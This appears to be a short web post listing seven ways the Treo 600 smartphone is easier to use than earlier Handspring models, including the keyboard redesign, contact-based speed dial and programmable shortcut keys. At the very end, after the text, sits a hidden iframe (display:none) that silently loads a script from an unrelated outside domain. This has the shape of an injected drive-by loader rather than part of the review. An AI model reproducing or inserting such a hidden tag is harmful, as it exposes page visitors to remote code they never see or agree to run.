How has Handspring made the Treo 600 easier to use than previous models?

In a lot of ways.... some you would think they'd have thought of the first time around, but at least they're being addressed now.
1. The redesign of the thumboard. Though the keys are tighter, they are now almost pointed and aren't quite as slippery.
2. The keys almost snap when pressing letting the user know they have had a successful press working to reduce double taps.
3. The number 5 key now has a bump allowing users to dial the phone without looking at the keypad.
4. On the favorites (speed dial) screen, rather than only being able to assign 1 number per slot, users can assign entire contacts from their address book to each slot. Further, when selecting a slot, a window appears showing every number stored for that contact where the user then uses the navigation pad to select the intended number to dial. Applause!!!
5. Each key on the thumboard can be programmed for a speed dial entry for quick dialing without having to go through each number on a contacts list in the favorites. Great forward thinking HS.
6. HS has added a dedicated "home/applications" button on the Treo 600. Owners of previous models may recall that in order to return to the homepage they had to press 2 buttons. Not anymore.
7. The thumboard will have many more uses than on previous models allowing the user to program specific keys for shortcuts. For example, keys will be programmable to start applications, visit bookmarked sites while browsing the web, and inserting often called upon email addresses.
I'm sure I've missed many more, but don't these sound great?<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
